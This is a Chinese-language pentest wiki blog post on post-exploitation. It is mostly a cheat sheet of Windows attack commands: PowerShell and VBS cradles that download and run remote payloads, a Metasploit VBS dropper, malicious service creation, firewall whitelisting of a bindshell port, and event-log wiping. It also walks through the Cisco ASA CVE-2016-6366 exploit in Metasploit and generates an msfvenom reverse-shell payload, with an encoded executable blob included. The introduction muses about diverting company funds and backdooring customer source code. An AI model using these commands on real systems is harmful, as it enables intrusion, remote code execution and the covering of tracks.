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Pentest Wiki Part4 后渗透(一)

作者：小蓝xlanll | 2024-04-08 23:43:50

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后渗透

0x01 前言

后渗透是渗透测试的关键组成部分。这就是您将自己与普通黑客区分开来的地方，实际上可以从渗透测试中提供有价值的信息和情报。后渗透针对特定系统，识别关键基础设施，并针对公司最重视的信息或数据，以及它试图保护的信息或数据。当你渗透一个又一个的系统时，你应该尝试着展示出那些对业务有最大影响的攻击。

在后渗透中，进行系统攻击时，应该花时间确定各个系统的功能以及不同的用户角色。例如，假设您了解了域基础架构系统，并以企业管理员身份运行或具有域管理权限。您可能是域管，但怎么与Active Directory通信的系统呢？公司的财务应用程序如何？你能否操控这个系统，然后在下一个支付阶段中，把所有的钱从公司转到别的账户上？目标的知识产权如何？

例如，假设您的客户是一家大型软件开发商，它将客户编码的应用程序发送给客户以供制造环境使用。你是否会在自己的源代码加上后门，实质上是让所有的客户都受到损害，那会损害他们的品牌可信度。

后渗透是一个棘手的事情，您必须花时间了解哪些信息可供您使用，然后将这些信息哪些又有利于你。攻击者通常会花费大量的时间在被攻陷的系统上上。像恶意攻击者一样思考 - 具有创造性，快速适应，依靠自己的智慧而不是自动化工具。

远程管理

Command	Description
NET USE \\`ip`\ipc$ `password` /user:`username`	与远程服务建立一个ipc连接，如果成功，您可以尝试查看，查询....具有正确的权限.
NET USE z: \\`ip`\`share`$ `password` /user:`username`	将远程共享映射为本地驱动器z：
systeminfo /S `ComputerName` /U `username` /P `password`	此工具显示本地或远程计算机的操作系统配置信息，包括服务包级别.
tasklist /S `SERVER` /U `DOMAIN\username` /P `password`	显示远程机器上当前正在运行的进程的列表.
taskkill /S `SERVER` /U `DOMAIN\username` /P `password`	杀死远程服务器中的进程.
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))"	从远程服务器执行代码.
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"	从远程服务器下载文件.
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File test.ps1	本地执行`test.ps1`
bitsadmin /transfer `systemrepair` /download /priority `normal` http://path/to/filec:\path\local\file	创建一个名为`systemrepair`的工作来从远程服务器上下载文件.
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > wget.vbs<BR><BR>`cscript.exe wget.vbs http://ip:port/filename C:\Windows\temp\filename`	用vbs下载文件
echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs<BR><BR>`cscript.exe %TEMP%\msf.vbs http://ip:port/vbspayload.txt`	下载并执行metasploit vbs payload.
PsExec.exe \\192.168.206.145 -accepteula -u `username` -p `passwordcmd.exe /c ver`	远程执行Windows命令，并返回结果
wmic /node:`SERVER` /user:`DOMAIN\username` /password:`password` process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"	在远程服务器上创建一个新进程。没有命令结果返回.

PROXY

Command	Description
NETSH INTERFACE portproxy add v4tov4 listenport=`LPORT`connectaddress=`RHOST` connectport=`RPORT` [listenaddress=`LHOST`protocol=tcp]	将数据从本地端口传输到远程地址的指定端口.
set http_proxy=http://your_proxy:your_port<BR>set http_proxy=http://username:password@your_proxy:your_port<BR>set https_proxy=https://your_proxy:your_port<BR>set https_proxy=https://username:password@your_proxy:your_port	在命令行下使用代理

Whitelist-白名单

Command	Description
NETSH FIREWALL show all	显示域/标准配置文件的允许的程序配置.
NETSH FIREWALL add allowedprogram`C:\Windows\system32\cmd.exe` `cmd` enable	在防火墙允许的应用程序白名单中添加一个程序。
NETSH FIREWALL delete allowedprogram `cmd`	从防火墙allowedprogram Whitelist删除一个项目，您也可以使用路径来删除它.
NETSH FIREWALL show all	显示域/标准的端口配置.
NETSH FIREWALL add portopening tcp `4444bindshell` enable all	将tcp端口4444添加到端口白名单中.

Service

Command	Description
sc create `servicename` type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start servicename	创建恶意服务，并获得本地系统特权.

Scheduler

Command	Description
net use \\`IP`\ipc$ `password`/user:`username`<BR>at \\`ComputerName` `time` "command"	AT命令安排命令和程序在指定的时间和日期在计算机上运行。`net time [/domain]`显示当前时间.

Logs

Command	Description
del %WINDIR%*.log /a /s /q /f	从`％WINDIR％`目录中删除所有`*.log`文件.
wevtutil el	列出系统保存的不同日志文件.
for /f %a in ('wevtutil el') do @wevtutil cl "%a"	清除特定日志的内容.
powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security	清除特定的事件日志

参考链接

How-to-hack-Cisco-ASA-with-CVE-2016-6366

Cisco ASA - CVE-2016-6366

思科自适应安全设备（ASA）软件的简单网络管理协议（SNMP）代码中的漏洞可能允许经过身份验证的远程攻击者重新加载受影响的系统或远程执行代码。

该漏洞是由于受影响的代码区域中存在缓冲区溢出。当在虚拟或物理思科ASA设备上启用该漏洞时，该漏洞会影响所有版本的SNMP（版本1,2c和3）。攻击者可以通过向受影响系统上的启用SNMP的接口发送精心设计的SNMP数据包来利用此漏洞。攻击者可能允许攻击者执行任意代码并获得对系统的完全控制或导致受影响系统的重载。攻击者必须知道SNMP字符串才能利用此漏洞。

注意：只有指向受影响系统的流量可用于利用此漏洞。此漏洞仅影响以路由和透明防火墙模式以及单个或多个上下文模式配置的系统。此漏洞只能由IPv4流量触发。攻击者需要了解SNMP版本1和SNMP版本2c中配置的SNMP公共字符串或者SNMP版本3的有效用户名和密码。
思科发布了解决此漏洞的软件更新。此通报的变通办法部分列出了缓解措施。

如何登录思科ASA？

如果您对Cisco ASA设备一无所知，请尝试使用nmap或自定义工具/方法发现有用的东西。
如果启用snmp，我们可以尝试使用metasploit破解密码。


msf auxiliary(snmp_login) > set PASSWORD public
PASSWORD => public
msf auxiliary(snmp_login) > set RHOSTS 192.168.206.114
RHOSTS => 192.168.206.114
msf auxiliary(snmp_login) > run
 
[+] 192.168.206.114:161 - LOGIN SUCCESSFUL: public (Access level: read-write); Proof (sysDescr.0): Cisco Adaptive Security Appliance Version 9.2(1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

现在，CVE-2016-6366可以帮助我们渗透远程cisco设备。


msf auxiliary(cisco_asa_extrabacon) > show options
 
Module options (auxiliary/admin/cisco/cisco_asa_extrabacon):
 
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   MODE       pass-disable     yes       Enable or disable the password auth functions (Accepted: pass-disable, pass-enable)
   RETRIES    1                yes       SNMP Retries
   RHOST      192.168.206.114  yes       The target address
   RPORT      161              yes       The target port
   TIMEOUT    1                yes       SNMP Timeout
 
msf auxiliary(cisco_asa_extrabacon) > run
 
[*] Building pass-disable payload for version 9.2(1)...
[*] Sending SNMP payload...
[+] Clean return detected!
[!] Don't forget to run pass-enable after logging in!
[*] Auxiliary module execution completed

如果成功利用，请尝试用telnet登录。攻击者可以不用密码登录到思科设备。


$ telnet 192.168.206.114
ciscoasa> ?
  clear       Reset functions
  enable      Turn on privileged commands
  exit        Exit from the EXEC
  help        Interactive help for commands
  login       Log in as a particular user
  logout      Exit from the EXEC
  no          Negate a command or set its defaults
  ping        Send echo messages
  quit        Exit from the EXEC
  show        Show running system information
  traceroute  Trace route to destination

如何检查思科版本？


ciscoasa> show version
 
Cisco Adaptive Security Appliance Software Version 9.2(1)
Device Manager Version 7.2(1)
 
Compiled on Thu 24-Apr-14 12:14 PDT by builders
System image file is "boot:/asa921-smp-k8.bin"
Config file at boot was "startup-config"
 
ciscoasa up 2 hours 25 mins
 
Hardware:   ASAv, 2048 MB RAM, CPU Pentium II 2793 MHz,
Internal ATA Compact Flash, 256MB
Slot 1: ATA Compact Flash, 8192MB
BIOS Flash Firmware Hub @ 0x1, 0KB
 
 
 0: Ext: Management0/0       : address is 000c.29a9.88d6, irq 10
 1: Ext: GigabitEthernet0/0  : address is 000c.29a9.88e0, irq 5
 2: Ext: GigabitEthernet0/1  : address is 000c.29a9.88ea, irq 9
 3: Ext: GigabitEthernet0/2  : address is 000c.29a9.88f4, irq 10
 
ASAv Platform License State: Unlicensed
*Install -587174176 vCPU ASAv platform license for full functionality.
The Running Activation Key is not valid, using default settings:
 
Licensed features for this platform:
Virtual CPUs                      : 0              perpetual
Maximum Physical Interfaces       : 10             perpetual
Maximum VLANs                     : 50             perpetual
Inside Hosts                      : Unlimited      perpetual
Failover                          : Active/Standby perpetual
Encryption-DES                    : Enabled        perpetual
Encryption-3DES-AES               : Enabled        perpetual
Security Contexts                 : 0              perpetual
GTP/GPRS                          : Disabled       perpetual
AnyConnect Premium Peers          : 2              perpetual
AnyConnect Essentials             : Disabled       perpetual
Other VPN Peers                   : 250            perpetual
Total VPN Peers                   : 250            perpetual
Shared License                    : Disabled       perpetual
AnyConnect for Mobile             : Disabled       perpetual
AnyConnect for Cisco VPN Phone    : Disabled       perpetual
Advanced Endpoint Assessment      : Disabled       perpetual
UC Phone Proxy Sessions           : 2              perpetual
Total UC Proxy Sessions           : 2              perpetual
Botnet Traffic Filter             : Enabled        perpetual
Intercompany Media Engine         : Disabled       perpetual
Cluster                           : Disabled       perpetual
 
This platform has an ASAv VPN Premium license.
 
Serial Number: 9ATJDXTHK3B
Running Permanent Activation Key: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
 
Image type          : Release
Key version         : A
 
Configuration last modified by enable_15 at 10:12:25.439 UTC Mon Sep 26 2016

如何进入特权模式？

enable可以用来进入思科配置模式。通常，密码为空。


ciscoasa> help enable
 
USAGE:
 
    enable [<priv_level>]
 
DESCRIPTION:
 
enable      Turn on privileged commands
 
ciscoasa> enable ?
 
  <0-15>  Enter optional privilege level (0-15)
  <cr>
 
  ciscoasa> enable
  Password:
  ciscoasa# configure terminal
  ciscoasa(config)# ?
 
    aaa                           Enable, disable, or view user authentication,
                                  authorization and accounting
    aaa-server                    Configure a AAA server group or a AAA server
    access-group                  Bind an access-list to an interface to filter
                                  traffic
    access-list                   Configure an access control element
    arp                           Change or view ARP table, set ARP timeout
                                  value, view statistics
    as-path                       BGP autonomous system path filter
    asdm                          Configure Device Manager
    asp                           Configure ASP parameters
    auth-prompt                   Customize authentication challenge, reject or
                                  acceptance prompt
    auto-update                   Configure Auto Update
    banner                        Configure login/session banners
    bgp-community                 format for BGP community
    boot                          Set system boot parameters
    ca                            Certification authority
    call-home                     Smart Call-Home Configuration
    checkheaps                    Configure checkheap verification intervals
    class-map                     Configure MPF Class Map
    clear                         Clear
    client-update                 Configure and change client update parameters
    clock                         Configure time-of-day clock
    cluster                       Cluster configuration
    command-alias                 Create command alias
    community-list                Add a community list entry
    compression                   Configure global Compression parameters
    configure                     Configure using various methods
    console                       Serial console functions
    coredump                      Configure Coredump options
    crashinfo                     Enable/Disable writing crashinfo to flash
    crypto                        Configure IPSec, ISAKMP, Certification
                                  authority, key
    ctl-file                      Configure a ctl-file instance
    ctl-provider                  Configure a CTL Provider instance
    cts                           Cisco Trusted Security commands
    ddns                          Configure dynamic DNS update method
    dhcp-client                   Configure parameters for DHCP client operation
    dhcpd                         Configure DHCP Server
    dhcprelay                     Configure DHCP Relay Agent
    dns                           Add DNS functionality to an interface
    dns-group                     Set the global DNS server group
    dns-guard                     Enforce one DNS response per query
    domain-name                   Change domain name
    dynamic-access-policy-record  Dynamic Access Policy configuration commands
    dynamic-filter                Configure Dynamic Filter
    dynamic-map                   Configure crypto dynamic map
    enable                        Configure password for the enable command
    end                           Exit from configure mode
    established                   Allow inbound connections based on established
                                  connections
    event                         Configure event manager
    exit                          Exit from config mode
    failover                      Enable/disable failover feature
    filter                        Enable or disable URL, FTP, HTTPS, Java, and
                                  ActiveX filtering
    fips                          FIPS 140-2 compliance information
    firewall                      Switch to router/transparent mode
    fixup                         Add or delete inspection services
    flow-export                   Configure flow information export through
                                  NetFlow
    fragment                      Configure the IP fragment database
    ftp                           Set FTP mode
    ftp-map                       Configure advanced options for FTP inspection
    group-delimiter               The delimiter for tunnel-group lookup.
    group-policy                  Configure or remove a group policy
    gtp-map                       Configure advanced options for GTP inspection
    h225-map                      Configure advanced options for H225 inspection
    help                          Interactive help for commands
    hostname                      Change host name of the system
    hpm                           Configure TopN host statistics collection
    http                          Configure http server and https related
                                  commands
    http-map                      This command has been deprecated.
    icmp                          Configure access rules for ICMP traffic
    imap4s                        Configure the imap4s service
    interface                     Select an interface to configure
    ip                            Configure IP address pools
    ip                            Configure IP addresses, address pools, IDS, etc
    ipsec                         Configure transform-set, IPSec SA lifetime and
                                  PMTU Aging reset timer
    ipv6                          Configure IPv6 address pools
    ipv6                          Global IPv6 configuration commands
    ipv6-vpn-addr-assign          Global settings for VPN IP address assignment
                                  policy
    isakmp                        Configure ISAKMP options
    jumbo-frame                   Configure jumbo-frame support
    key                           Create various configuration keys
    l2tp                          Configure Global L2TP Parameters
    ldap                          Configure LDAP Mapping
    logging                       Configure logging levels, recipients and other
                                  options
    logout                        Logoff from config mode
    mac-address                   MAC address options
    mac-list                      Create a mac-list to filter based on MAC
                                  address
    management-access             Configure management access interface
    map                           Configure crypto map
    media-termination             Configure a media-termination instance
    mgcp-map                      Configure advanced options for MGCP inspection
    migrate                       Migrate IKEv1 configuration to IKEv2/SSL
    monitor-interface             Enable or disable failover monitoring on a
                                  specific interface
    mount                         Configure a system mount
    mroute                        Configure static multicast routes
    mtu                           Specify MTU(Maximum Transmission Unit) for an
                                  interface
    multicast-routing             Enable IP multicast
    name                          Associate a name with an IP address
    names                         Enable/Disable IP address to name mapping
    nat                           Associate a network with a pool of global IP
                                  addresses
    no                            Negate a command or set its defaults
    ntp                           Configure NTP
    nve                           Configure an Network Virtulization Endpoint
                                  (NVE)
    object                        Configure an object
    object-group                  Create an object group for use in
                                  'access-list', etc
    object-group-search           Enables object group search algorithm
    pager                         Control page length for pagination
    passwd                        Change Telnet console access password
    password                      Configure password encryption
    password-policy               Configure password policy options
    phone-proxy                   Configure a Phone proxy instance
    pim                           Configure Protocol Independent Multicast
    policy-list                   Define IP Policy list
    policy-map                    Configure MPF Parameter Map
    pop3s                         Configure the pop3s service
    prefix-list                   Build a prefix list
    priority-queue                Enter sub-command mode to set priority-queue
                                  attributes
    privilege                     Configure privilege levels for commands
    prompt                        Configure session prompt display
    quit                          Exit from config mode
    quota                         Configure quotas
    regex                         Define a regular expression
    remote-access                 Configure SNMP trap threshold for VPN
                                  remote-access sessions
    route                         Configure a static route for an interface
    route-map                     Create route-map or enter route-map
                                  configuration mode
    router                        Enable a routing process
    same-security-traffic         Enable same security level interfaces to
                                  communicate
    scansafe                      Scansafe configuration
    service                       Configure system services
    service-interface             service-interface for dynamic interface types
    service-policy                Configure MPF service policy
    setup                         Pre-configure the system
    sla                           IP Service Level Agreement
    smtp-server                   Configure default SMTP server address to be
                                  used for Email
    smtps                         Configure the smtps service
    snmp                          Configure the SNMP options
    snmp-map                      Configure an snmp-map, to control the operation
                                  of the SNMP inspection
    snmp-server                   Modify SNMP engine parameters
    ssh                           Configure SSH options
    ssl                           Configure SSL options
    sunrpc-server                 Create SUNRPC services table
    sysopt                        Set system functional options
    tcp-map                       Configure advanced options for TCP inspection
    telnet                        Add telnet access to system console or set idle
                                  timeout
    terminal                      Set terminal line parameters
    tftp-server                   Configure default TFTP server address and
                                  directory
    threat-detection              Show threat detection information
    time-range                    Define time range entries
    timeout                       Configure maximum idle times
    tls-proxy                     Configure a TLS proxy instance or the maximum
                                  sessions
    track                         Object tracking configuration commands
    tunnel-group                  Create and manage the database of connection
                                  specific records for IPSec connections
    tunnel-group-map              Specify policy by which the tunnel-group name
                                  is derived from the content of a certificate.
    uc-ime                        Configure a Cisco Intercompany Media Engine
                                  (UC-IME) instance
    url-block                     Enable URL pending block buffer and long URL
                                  support
    url-cache                     Enable/Disable URL caching
    url-server                    Configure a URL filtering server
    user-identity                 Configure user-identity firewall
    username                      Configure user authentication local database
    virtual                       Configure address for authentication virtual
                                  servers
    vnmc                          Configure VNMC params
    vpdn                          Configure VPDN feature
    vpn                           Configure VPN parameters.
    vpn-addr-assign               Global settings for VPN IP address assignment
                                  policy
    vpn-sessiondb                 Configure the VPN Session Manager
    vpnsetup                      Configure VPN Setup Commands
    vxlan                         Configure VXLAN system parameters
    wccp                          Web-Cache Coordination Protocol Commands
    webvpn                        Configure the WebVPN service
    xlate                         Configure an xlate option
    zonelabs-integrity            ZoneLabs integrity Firewall Server
                                  Configuration

如何配置cisco接口？


ciscoasa(config)# interface ?
 
configure mode commands/options:
  GigabitEthernet  GigabitEthernet IEEE 802.3z
  Management       Management interface
  Redundant        Redundant Interface
  TVI              Tenant Virtual Interface
  vni              VNI Interface
  <cr>
 
ciscoasa(config)# interface GigabitEthernet ?
 
configure mode commands/options:
  <0-0>  GigabitEthernet interface number
 
ciscoasa(config)# interface GigabitEthernet 0/?
 
configure mode commands/options:
  <0-2>  GigabitEthernet interface number
 
ciscoasa(config)# interface GigabitEthernet 0/0

如何设置IP地址？


ciscoasa(config-if)# ?
 
Interface configuration commands:
  authentication   authentication subcommands
  ddns             Configure dynamic DNS
  default          Set a command to its defaults
  delay            Specify interface throughput delay
  description      Interface specific description
  dhcp             Configure parameters for DHCP client
  dhcprelay        Configure DHCP Relay Agent
  duplex           Configure duplex operation
  exit             Exit from interface configuration mode
  flowcontrol      Configure flowcontrol operation
  hello-interval   Configures EIGRP-IPv4 hello interval
  help             Interactive help for interface subcommands
  hold-time        Configures EIGRP-IPv4 hold time
  igmp             IGMP interface commands
  ip               Configure the ip address
  ipv6             IPv6 interface subcommands
  mac-address      Assign MAC address to interface
  management-only  Dedicate an interface to management. Block thru traffic
  mfib             Interface Specific MFIB Control
  multicast        Configure multicast routing
  nameif           Assign name to interface
  no               Negate a command or set its defaults
  ospf             OSPF interface commands
  pim              PIM interface commands
  pppoe            Configure parameters for PPPoE client
  rip              Router Information Protocol
  security-level   Specify the security level of this interface after this
                   keyword, Eg: 0, 100 etc. The relative security level between
                   two interfaces determines the way the Adaptive Security
                   Algorithm is applied. A lower security_level interface is
                   outside relative to a higher level interface and equivalent
                   interfaces are outside to each other
  shutdown         Shutdown the selected interface
  speed            Configure speed operation
  split-horizon    Configures EIGRP-IPv4 split-horizon
  summary-address  Configures EIGRP-IPv4 summary-address


ciscoasa(config-if)# ip address ?
 
interface mode commands/options:
  Hostname or A.B.C.D  Firewall's network interface address
  dhcp                 Keyword to use DHCP to poll for information. Enables the
                       DHCP client feature on the specified interface
  pppoe                Keyword to use PPPoE to poll for information. Enables
                       the PPPoE client feature on the specified interface
ciscoasa(config)#  ip address 192.168.206.114 255.255.255.0
ciscoasa(config-if)# no shutdown
ciscoasa(config-if)# exit
ciscoasa(config)# exit
ciscoasa# ping 192.168.206.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.206.1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/10 ms

如何启用snmp服务？


ciscoasa# configure terminal
ciscoasa(config)# snmp-server host inside 192.168.206.1 community 0 public

如何启用启用SSH服务?


ciscoasa# configure terminal
ciscoasa(config)# username admin password password
ciscoasa(config)# aaa authentication ssh console LOCAL
ciscoasa(config)# passwd password
ciscoasa(config)# crypto key generate rsa ?            
 
configure mode commands/options:
  general-keys  Generate a general purpose RSA key pair for signing and
                encryption
  label         Provide a label
  modulus       Provide number of modulus bits on the command line
  noconfirm     Specify this keyword to suppress all interactive prompting.
  usage-keys    Generate seperate RSA key pairs for signing and encryption
  <cr>
ciscoasa(config)# crypto key generate rsa modulus ?
 
configure mode commands/options:
  1024  1024 bits
  2048  2048 bits
  4096  4096 bits
  512   512 bits
  768   768 bits
 
ciscoasa(config)#  ssh 192.168.206.1 255.255.255.0 inside
ciscoasa(config)#  ssh 192.168.206.137 255.255.255.0 inside
ciscoasa(config)#  ssh version 2

如何启用Telnet服务?


ciscoasa# configure terminal
ciscoasa(config)# aaa authentication telnet console LOCAL
ciscoasa(config)# telnet 0.0.0.0 0.0.0.0 inside

链接

Windows_ActiveDirectory

在cmd shell中执行metasploit vbs payload

如果你是一个pentester/安全研究员，你可能希望从cmd shell获得meterpreter会话，例如：sqlmap --os-shell或其他工具。例如：


$ ncat -l -p 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.  
 
C:\Documents and Settings\test\Desktop>ver
ver  
 
Microsoft Windows XP [Version 5.1.2600]
C:\Documents and Settings\test\Desktop>

在以前，你可能会尝试下面的方法：

将exe转换成批处理脚本。
从远程服务器下载payload文件（ftp，tftp，http，....）
......

现在，我将向您展示如何在cmd.exe中运行metasploit payload。请尝试考虑以下问题：

如何用msfvenom生成一个payload？
如何以简单/兼容的方式运行payload？

如何用msfvenom生成一个payload？


$ msfvenom -p windows/meterpreter/reverse_tcp
 LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win
 
 No encoder or badchars specified, outputting raw payload
 Payload size: 333 bytes
 Final size of vbs file: 7370 bytes
 Function oSpLpsWeU(XwXDDtdR)
  urGQiYVn = "" & _           
  XwXDDtdR & ""      
  Set gFMdOBBiLZ = CreateObject("MSXML2.DOMDocument.3.0")
  gFMdOBBiLZ.LoadXML(urGQiYVn)
  oSpLpsWeU = gFMdOBBiLZ.selectsinglenode("B64DECODE").nodeTypedValue
  set gFMdOBBiLZ = nothing
 End Function
 
 Function skbfzWOqR()
  cTENSbYbnWY = "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